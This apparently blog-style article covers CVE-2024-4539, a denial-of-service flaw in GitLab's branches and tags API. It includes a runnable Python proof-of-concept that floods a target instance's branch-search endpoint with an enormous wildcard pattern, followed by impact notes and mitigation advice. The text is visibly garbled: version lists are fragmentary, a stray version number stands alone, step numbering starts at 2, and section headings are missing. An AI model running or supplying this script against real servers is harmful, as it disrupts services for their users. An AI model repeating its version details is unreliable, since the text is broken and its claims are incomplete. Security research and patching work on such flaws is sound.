In early 2024, the cybersecurity community discovered a high-impact vulnerability cataloged as CVE-2024-4539, affecting certain versions of GitLab's Community Edition (CE) and Enterprise Edition (EE). This issue exploits the API for branches and tags, potentially enabling a Denial of Service (DoS) attack by overloading GitLab servers.

This article breaks down how the vulnerability works, which versions are vulnerable, an example exploit, and how users and sysadmins can mitigate the risk.

Summary

CVE-2024-4539 is an API vulnerability in GitLab that allows attackers to trigger heavy computation operations by abusing filtering functionality for branches and tags, potentially leading to a Denial of Service (DoS). When exploited, this bug can cause GitLab services to become unresponsive, affecting developer productivity and CI/CD pipelines.

16.11. and above, prior to 16.11.2

GitLab versions 16.9.7, 16.10.5, and 16.11.2 contain the fix.

> Reference:
> GitLab Advisory for CVE-2024-4539

How the Exploit Works

An attacker with API access to a GitLab instance (e.g., a user with access to a project) can send specifically crafted API requests to filter branches and tags. By providing complex filter patterns, attackers can force GitLab’s backend into expensive computation, causing CPU and memory resources to spike. In the worst case, the server may become unresponsive.

Attacker obtains API access: The attacker needs at least a guest account on a targeted project.

2. Crafts malicious API request: Using the /repository/branches or /repository/tags endpoint, sends a request with complex or a very large pattern in the filter parameter.
3. GitLab's backend chokes: The server spends excessive resources processing the complex filter, leading to slowdowns or downtime.

Proof of Concept (PoC) Code

Below is a Python script that demonstrates how an attacker might exploit this vulnerability by abusing the /repository/branches API with an overly broad or complex filter pattern.

import requests

# Configuration - CHANGE THESE TO TARGET
GITLAB_URL = "https://gitlab.example.com";       # Target GitLab instance
PRIVATE_TOKEN = "glpat-xxxxxxxxxxxxxxxxxxx"      # API token (user's personal access token)
PROJECT_ID = 1234                                # The project ID to target

# Endpoint to list branches with filtering
api_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/repository/branches"

# Craft a filter with a very expensive regex or wildcards
evil_search_pattern = "*" * 100000   # Or use complex regex if supported

params = {
    "search": evil_search_pattern
}

headers = {
    "PRIVATE-TOKEN": PRIVATE_TOKEN
}

print("[*] Sending malicious API request to trigger DoS...")

response = requests.get(api_url, params=params, headers=headers, timeout=10)

print(f"[+] Status code: {response.status_code}")
print(f"[+] Response: {response.text[:300]}...")  # Show only the first 300 chars

Note: Running this against a production system is unethical and may be illegal. This is for educational and internal testing purposes only.

Denial of Service: Legitimate users may be locked out of the system or encounter severe delays.

- CI/CD Pipelines Blocked: Automated builds and deployments fail or stall.
- Business Productivity: Teams relying on GitLab for version control may experience significant downtime.

16.11.2


Download from the official GitLab releases page.

Monitor for Abnormal API Usage

Use logs and monitoring tools to alert you if there are unusually heavy or complex API calls hitting repository endpoints.

Rate Limiting

Enforce rate limiting on API endpoints to minimize damage from automated or bulk requests.

Official GitLab Advisory:

Security Release: GitLab 16.11.2, 16.10.5, and 16.9.7

CVE Entry:

CVE-2024-4539 on MITRE

GitLab Documentation:

- Branches API
- Tags API
- GitLab Rate Limiting Docs

Conclusion

CVE-2024-4539 is a powerful reminder that even widely-used development tools like GitLab can be vulnerable through seemingly routine API features. Denial of Service vulnerabilities do not always require advanced tactics—sometimes, all it takes is a poorly handled filter and the right access.

Timeline

Published on: 05/14/2024 15:44:01 UTC
Last modified on: 05/14/2024 16:11:39 UTC